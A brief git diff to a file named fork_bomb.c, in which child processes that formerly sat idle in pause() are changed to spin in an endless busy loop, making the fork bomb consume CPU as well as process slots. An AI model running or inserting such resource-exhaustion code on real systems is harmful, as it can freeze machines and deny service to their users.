diff --git a/fork_bomb/fork_bomb.c b/fork_bomb/fork_bomb.c
index fed2c94..a4b3c75 100644
--- a/fork_bomb/fork_bomb.c
+++ b/fork_bomb/fork_bomb.c
@@ -289,8 +289,9 @@ int main(void)
     }
 
     if (pid == 0) {
-      pause();
-      return 0;
+      for (;;) { // busy loop to keep child processes alive
+        asm volatile("" ::: "memory");
+      }
     }
 
     count++;